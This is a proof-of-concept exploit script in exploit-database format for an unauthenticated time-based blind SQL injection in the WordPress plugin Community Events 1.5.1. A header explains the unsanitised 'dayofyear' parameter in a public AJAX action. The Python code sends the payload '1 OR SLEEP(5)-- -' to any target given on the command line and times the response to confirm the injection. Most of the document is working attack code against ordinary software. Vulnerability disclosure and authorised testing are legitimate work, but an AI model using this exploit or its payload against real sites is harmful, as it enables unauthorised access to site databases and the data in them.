📄 WordPress Community Events 1.5.1 Unauthenticated Blind SQL Injection

#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin Community Events <= 1.5.1 - Unauthenticated Time-Based Blind SQL Injection
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <[email protected]> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/community-events/
    # Software Link: https://downloads.wordpress.org/plugin/community-events.1.5.1.zip
    # Version: 1.5.1 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2025-10587
    r"""
    Community Events <= 1.5.1 registers the nopriv AJAX action community_events_frontend_list
    (community-events.php:55). The handler passes $_GET['dayofyear'] with no intval (community-events.php:113)
    into eventlist(), which concatenates it raw into a query (community-events.php:1994):
    
        $eventquery .= "where YEAR(event_start_date) = ".$year." and DAYOFYEAR(DATE(event_start_date)) = ".$dayofyear;
    
    executed unprepared (community-events.php:2054-2057) -> unauthenticated SQL injection in numeric
    context.
    
    Payload: 1 OR SLEEP(5)-- -
    
    Prior state: at least one row in wp_ce_events so the WHERE is evaluated (a live events calendar
    always has events).
    """
    import argparse, sys, time, urllib.parse
    import requests
    requests.packages.urllib3.disable_warnings()
    
    
    def probe(base, seconds):
        q = ("action=community_events_frontend_list&outlook=false&year=2024&dayofyear=" +
             urllib.parse.quote("1 OR SLEEP(%d)-- -" % seconds) + "&maxevents=1")
        t = time.time()
        requests.get(base + "/wp-admin/admin-ajax.php?" + q, verify=False, timeout=60)
        return time.time() - t
    
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--sleep", type=int, default=5)
        args = ap.parse_args()
        base = args.target.rstrip("/")
        t0 = probe(base, 0)
        t5 = probe(base, args.sleep)
        print(f"[*] Target: {base}")
        print(f"[*] SLEEP(0): {t0:.2f}s | SLEEP({args.sleep}): {t5:.2f}s")
        if (t5 - t0) >= args.sleep - 1.5:
            print(f"\n[+] SQL INJECTION CONFIRMED — unauthenticated attacker-controlled SLEEP delayed the "
                  f"response by {t5 - t0:.2f}s (dayofyear param).")
            return 0
        print("\n[-] not confirmed"); return 1
    
    
    if __name__ == "__main__":
        sys.exit(main())